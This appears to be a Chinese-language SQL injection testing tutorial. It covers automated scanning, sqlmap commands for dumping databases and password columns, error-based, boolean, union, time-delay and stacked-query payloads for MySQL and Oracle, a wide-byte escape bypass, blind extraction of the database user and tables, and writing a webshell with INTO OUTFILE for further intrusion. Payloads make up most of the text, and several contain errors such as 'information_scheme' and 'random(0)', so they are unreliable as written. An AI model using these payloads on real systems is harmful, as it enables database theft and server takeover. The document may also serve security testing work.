
使用自动化扫描工具测试
工具:AppScan,WebInspect,AWVS等。
测试方法:借助自动化工具进行扫描,扫描得到疑似SWL注入点。得到疑似注入点后在放到专有注入工具,如SQLMAP,Pangolin进行确认并渗透。
使用burpsuite的SQLMAP插件扫描:
SQLMAPPER主要对Burpsuite爬行到的url进行自动化的注入测试过启动测试后会将Burpsuite记录到所有的URL请求,逐一发给SQLMAP进行SQL注入测试。当发现漏洞时,会将该请求以及具体的漏洞信息保存在txt文件,同时在burpsuite的扫描结果中也有显示。用户可以通过查看TXT文件或者直接查看Burpsuite的扫描结果来分析该漏洞。
当前sqlmap支持的数据库类型有,mysql,oracle,postgresql,sql server,access,sqlite,firebird,sybase,sap maxdb,db2。
测试步骤:
1.安装jdk或以上版本。
2.安装ruby2.7.1版本。
3.加载插件sqlmap。
4.配置sqlmap
5.选择起始url
6.指定数据库类型
7.执行sqlmap测试
8.检查扫描结果,对所有sql注入风险点进行确认。
测试时需要指定目标数据库类型,不指定会对所有类型进行尝试,影响效率。如果不选择目标类型可能会存在扫描结果差异问题。
测试时请确认session有效,session过期将无法识别任何漏洞。
进一步渗透。
通过自动化工具扫描获取的疑似注入点,需要进行确认和认证。
以下列出基本用法,以sqlmap为例。
检查注入点:sqlmap -u url注入地址
列出数据库信息 sqlmap -u url注入地址 –dbs
指定库名列出所有表 sqlmap -u url注入地址 -D databaseName –tables
指定库名表明列出所有字段 sqlmap -u url注入地址 -D databaseName -T tableName –columns
指定库名表名字段dump出指定字段 sqlmap -u url注入地址 -D databaseName -T tableName -C id,password –dump
手工测试
自动化工具可以帮我们减少很多工作量但有时自动化工具并不一定能确认注入点或进行渗透,这时就需要一些手工测试技巧,手工测试需要注意的页面场景主要包括:url参数,查询框,搜索框,排序,删除等。
一.检测是否存在注入
从前段页面进行测试
1.基于错误信息页面的测试
可在url的参数值加入单引号,或者双引号,这时导致sql语句不符合语法而出现错误页面爆出sql语句,这时基本可以判断出该url可被注入。
2.基于数据库报错函数的测试
mysql数据库一般有如下函数,可实现数据库报错。
1.floor
2.ExtractValue
3.UpdateXml
floor函数:
通过floor报错的方法来爆数据的本质是groopby语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1。
group by key的原理是循环读取数据的每一行将结果保存在临时表中。读取每一行的key时,如果key存在临时表中。则不在临时表中更新临时表里的数据。如果该key不存在临时表中,则在临时表中插入key所在行的数据。 group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将这条记录插入临时表,由于是随机数,插入时又要计算随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突报错。即检测时和插入时两次计算了随机数的值。
用如下命令尝试破解数据库:
and select 1 from (select count(*),concat(version(),floor(random(0)*2)x from information_scheme.tables group by x)a)
数据库执行结果如下:
ROOR 1062(23000) Duplicate entey 'admin8881' for key 'group_key'
ExtractValue函数:
用如下命令去尝试破解数据库:
and extractvalue(1,concat(0x5c,(select tableName from information_scheme.tables limit 1)))
数据库执行结果如下:
ERROR 1105(HY000):XPATH syntax error:'admin888'
UpdateXml函数
用如下命令去尝试破解数据库:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
数据库执行结果如下:
ERROR 1105(HY000):XPATH syntax error:':root@localhost'
Oracle数据库中,可实现sql报错的函数有:
utl_inaddr.get_host_address
utl_inaddr.get_host_name
XMLType
ctxsys.drithsx.sn
假设被注入的sql语句为:select * from dual where rownum=1 其中参数rownum为被注入参数,参数值1为外部输入,假设url为:http://10.10.10.10:8080/test/readtest.jsp?rownum=1
1)utl_inaddr.get_host_address:
utl_inaddr.get_host_address本意是获取ip地址,但是如果传递参数无法得到解析就会返回一个oracle错误并显示传递的参数。我们传递的是一个sql语句所以返回的就是语句执行的结果。oracle在启动之后把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。
一般在utl_inaddr.get_host_address()括号内部放入想要注入的语句,这里我们以查询版本号为注入语句进行测试:
select banner from v$version where rownum=1
在url中构造注入命令:
http://10.10.10.10:8080/test/readtest.jsp?rownum=1||utl_inaddr.get_host_address((select banner from v$version where rownum=1))
拼接成功的数据库语句则为:
select * from dual where rownum=1||utl_inaddr.get_host_address((select banner from v$version where rownum=1))
执行命令结果:
ORA-29257:host Oracle Database 11g Enterprise Edition Release 11.2.0.4.0-64bit production
可以看到结果虽然报错了,但是在返回的错误信息里,返回的是已经执行了注入命令的结果。
2)utl_inaddr.get_host_name同上一样
3)XMLType:
select * from dual where rownum=1 and (1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),
chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)
执行结果如下
ORA-31011 XML parsing failed ORA-19202 ERROR occurred in XML processing LPX-00110 Warning invalid QName Oracle9i Enterprise Edition Release9.2.0.4.0
4)ctxsys.drithsx.sn:
ctxsys.drithsx.sn()的报错注入,较多应用在oracle11g的数据库中。
ctxsys.drithsx.sn()的括号内部的第二个参数中放入想要注入的语句,这里我们以查询版本号为注入语句进行测试:select banner from v$version where rownum=1
在url中构造注入命令:
http://10.10.10.10:8080/test/readtest.jsp?rownum=1 and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))
拼接成功的数据库语句为:
select * from dual where rownum=1 and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))
执行结果返回虽然报错了,但是在返回的错误里,返回的是已经执行了注入命令的结果。
3.基于布尔的测试
现在大部分应用系统都统一了异常错误页面,因此大多数是没错误回显的但还是可以通过sql语句中的and或or(有时需转换大小写)逻辑运算符判断回显数据确认是否存在注入。
如条件输入 or 1=1– (–为注释符)时页面有数据
输入 or 1=2– 时页面没有数据
同理,如果or不能使用就用and,通过变化大小写来判断是否存在注入。
4.基于联合查询的测试
有的应用系统除了同意错误页面还禁用了and和or这些关键字,但未禁用联合查询关键字union,这时可利用内外连接来判断,如:
http://10.10.10.10:8080/test/readtest.jsp?sex=man union select 1,2,3,4,5%23
这时查询结果会多出一条记录,列分别显示1,2,3,4,5
5.基于时间延迟的测试
有的应用系统并无数据回显,或回显不明显,这时可通过一些时间延长的函数如(mysql的benchmark函数)来判断注入点,如果在浏览器显示页面的时间刚好符合攻击者设定的时间(如5秒,通过左下角的状态即查看)则存在注入的风险,如:
http://10.10.10.10:8080/test/readtest.jsp?sex=man union select benchmark(100000000,md5('test')),2,3,4,5%23
显示结果同上
6.基于注释的测试
有时应用系统屏蔽了空格的输入,这时可以通过使用注释符来判断注入点。
产品常见见过的利用注释来攻击的,如在登录页面(用户名口令)注释掉判断条件的注入命令:在输入用户名时添加’ or 1=1– 或者’ or 1=1;–
不常见的如在某查询页面的参数后面添加注释命令)/**/or/**/(1=1)等
7.多语句查询测试
可以同时执行多条语句。想象下:如程序运行权限足够大,普通用户在select语句后面加上drop table,drop database等
select查询:
1,在查询页面处尝试猜解注入点的sql语句(建议直接搜索代码,或者咨询开发)闭合注入点的原语句,如:
select * from t where (KeyChannelType in (something,concat(':','[1]')))
2.构造新语句,如:
;if(1=db_name()) WAITFOR DELAY '0:0:5'
3.注释后面语句
Update:
1)在update页面处(例如修改密码页面)尝试猜解注入点的sql语句,建议搜代码。闭合注入点的原语句,update users set password=’1111′ where username=’admin’
2)构造新语句,如:
and (select * from (select(sleep(5)))WzfT) and 'ZUQE'=''
Insert:
1)在insert页面处,如注册用户,尝试猜解注入点的sql语句,建议搜索代码,闭合注入点的原语句,如:
insert into table values(1,2,...)
2)构造新语句,如:
or select 1 from (select count(*),concat(floor(rand(0)*2),(select user())))x from information_schema.table group by x)a
8.内联查询注入测试
可利用内联进行注入
数字值内联注入的特征值:
9.绕过转义符注入测试
部分开发人员,通过字符转义来重置单引号等关键字符一般使用\ 这里主要讲解如何绕过这种转义。
宽字节绕过总结
1,重点:转义符反斜杠\,ASCLL码0x5C
2,在双字节字符集中,在\前面增加高字节,0x5C被当做低字节,组合为汉字,导致\符号被吃掉,后续字符逃出限制,从而绕过转义。
3,GB2312编码里\不会被吃掉
4,GBK,GN18030,BIG5等低字节符范围内含有0x5C的双字节字符编码集均存在宽字节注入,绕过。
5,UTF编码方式\不会被吃掉
6,程序中使用转码函数不当,也会出现宽字节注入,绕过,这时候跟页面编码无关。
示例:
某存在Sql注入场景,注入一个单引号后,url和sql如下:
url:http://example.com/index.php?username=alan'
sql:select * from tb where username='alan\''
核心问题是要把反斜杠消除,将注入字符替换为%df’,url和sql如下:
url:http://example.com/index.php?username=alan%df'
由于%df\ -> %df%5c -> 運,最终构成sql语句为:
sql:select * from tb where username='alan 運''
注入的%df与系统自动添加的反斜杠一起,构成一个unicode字符集中的字符”運”从而消除了反斜杠,使得注入的单引号闭合了前面的查询语句。
二.进一步渗透
1.拖库
发现注入点后如果应用系统没有对数据库的权限做完善的配置,那么通过注入语句是可以把整个数据库拖到本地的,以mysql为例。
注意:有时需要进行url编码。
首先利用or找出注入点,利用true或false执行sql语句
http://www.test.cn/test?1%27=1&1%20or%201%3d1--%20=1
通过length函数猜测数据库用户名的字符数(14个字符)
http://www.test.cn/test?1%27=1&1%20or%20(length(user())%3d14)--%20=1
通过char_length函数猜测数据库用户名的字符长度
http://www.test.cn/test?1%27=1&1%20or%20(char_length(user())%3d14)--%20=1
通过left函数猜测数据库用户名的字符内容(root@localhost)
http://www.test.cn/test?1%27=1&1%20or%20(left(user(),1)%3d'r')--%20=1
http://www.test.cn/test?1%27=1&1%20or%20(left(user(),1)%3d'ro')--%20=1
http://www.test.cn/test?1%27=1&1%20or%20(left(user(),1)%3d'roo')--%20=1
http://www.test.cn/test?1%27=1&1%20or%20(left(user(),1)%3d'root')--%20=1
通过left函数猜测数据库名(elb)
http://www.test.cn/test?1%27=1&1%20or%20(left(database(),3)%3d'elb')--%20=1
猜测当前数据库所有表的表名
http://www.test.cn/test?1%27=1&1%20or%20(left((select%20table_name%20from%20information_scheme.table%20where%20table_scheme%3ddatabase()%20limit%200,1),1%3d%27a%27)--%20=1
2.写入webshell
除了可以把数据库的数据全部下载下来之外,还可以通过sql语句(如into outfile语句)向服务器写入webshell,但要注意一点,必须获取应用的绝对路径,得到webshell后了进一步控制服务器进行内网渗透,以mysql为例
http://example.com/index.php?username=alan'union select 1,2,3,4,'一句话木马' into outfile 'web应用的绝对路径'
通过小马写入大马或是通过一句话木马客户端(如中国菜刀)连接小马得到系统webshell